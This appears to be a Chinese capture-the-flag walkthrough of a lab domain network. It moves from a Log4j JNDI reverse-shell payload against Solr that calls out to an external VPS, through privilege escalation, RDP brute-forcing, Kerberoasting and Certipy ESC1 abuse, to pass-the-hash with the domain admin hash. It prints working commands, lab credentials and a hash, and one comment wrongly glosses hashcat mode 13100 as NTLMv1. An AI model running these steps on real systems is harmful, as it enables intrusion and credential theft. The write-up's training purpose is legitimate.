Web打点

image-20231024164054303

这里可以看到直接扫到了一个solr，然后我们进入直接是可以看到log4j的依赖，然后直接打一下试试。

image-20231024144244306

image-20231024144513141

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.yujrzdhxzy.dgrh3.cn} HTTP/1.1
Host: 39.98.113.164:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close


image-20231024144503841

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 118.31.166.161

image-20231024144906517

image-20231024144922603

GET /solr/admin/cores?action=${jndi:ldap://118.31.166.161:1389(VPS_ip)/Basic/ReverseShell/118.31.166.161(VPS_ip)/28888} HTTP/1.1
Host: 39.98.113.164:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

反弹shell之后需要进行一个提权，suid并没有可以利用的。通过sudo -l可以看到grc命令

image-20231024145130682

通过grc可以直接提权为root

image-20231024145345588

image-20231024145327219

Easy right?
Maybe you should dig into my core domain network.

上传fscan直接开扫

内网

image-20231024145805028

172.22.9.47:21 open
172.22.9.19:22 open
172.22.9.7:445 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.26:139 open
172.22.9.7:139 open
172.22.9.26:135 open
172.22.9.47:139 open
172.22.9.7:135 open
172.22.9.7:80 open
172.22.9.47:80 open
172.22.9.19:80 open
172.22.9.7:88 open
172.22.9.47:22 open
172.22.9.19:8983 open
[*] WebTitle: http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] NetInfo:
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[*] NetInfo:
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] NetBios: 172.22.9.7      [+]DC XIAORANG\XIAORANG-DC
[*] WebTitle: http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios: 172.22.9.47     fileserver                          Windows 6.1
[*] NetBios: 172.22.9.26     DESKTOP-CBKTVMO.xiaorang.lab        Windows Server 2016 Datacenter 14393
[*] 172.22.9.47  (Windows 6.1)
[*] WebTitle: http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] WebTitle: http://172.22.9.7         code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin
[+] http://172.22.9.7 poc-yaml-active-directory-certsrv-detect


172.22.9.26
172.22.9.19(外网主机)
172.22.9.7 (DC)
172.22.9.47

丢个frp，然后呢看到考点存在SMB，可能需要去攻击SMB服务，这里看到47和26是开启了445，直接连接的话47可以连接成功（正常的话是需要认证的）

image-20231024152640971

这里看到三个共享文件，然后选择fileshare。

image-20231024152651783

这里拿到第二个flag加上一个personnel.db文件

image-20231024152715089

get命令下载

image-20231024153317640

打开直接是存在三张表

image-20231024170239262

image-20231024153345260

image-20231024155431780

通过这两张表的内容组合一下进行爆破。

proxychains4 hydra -L users.txt -P pass.txt 172.22.9.26 rdp >>result.txt

image-20231024155738608

这里可以得到两个账号。但是直接去登录RDP是失败了。

zhangjian:i9XDE02pLVf

liupeng:fiAzGwEMgTY

通过账号去爆破一下SPN

image-20231024155952045

image-20231024160411256

hashcat -m 13100 pass -a 0 ./rockyou.txt --force  #13100表示NTLMv1

image-20231025162736134

image-20231025162745608

zhangxia:MyPass2@@6

chenchen:@Passw0rd@

登录172.22.9.26

image-20231024160934352

提权

下载Certipy这个工具

image-20231024151107766

image-20231024151118185

image-20231024151127979

先查找安装了什么证书。

proxychains certipy find -u 'liupeng@xiaorang.lab'  -password 'fiAzGwEMgTY' -dc-ip 172.22.9.7 -vulnerable -stdout

image-20231024162837931

这里可以看到安装了ESC1证书，存在漏洞问题。直接工具打,这里可能需要先加一个域名映射

image-20231024171206932

proxychains certipy req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager'  -upn administrator@xiaorang.lab

image-20231024163229763

直接拿到域管的hash

proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

image-20231024163307298

2f1b57eefb2d152196836b0516abea80

proxychains python3 wmiexec.py -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/Administrator@172.22.9.26 -codec gbk

proxychains python3 psexec.py xiaorang.lab/administrator@172.22.9.26 -hashes :2f1b57eefb2d152196836b0516abea80

域管hash直接横向打image-20231024163725194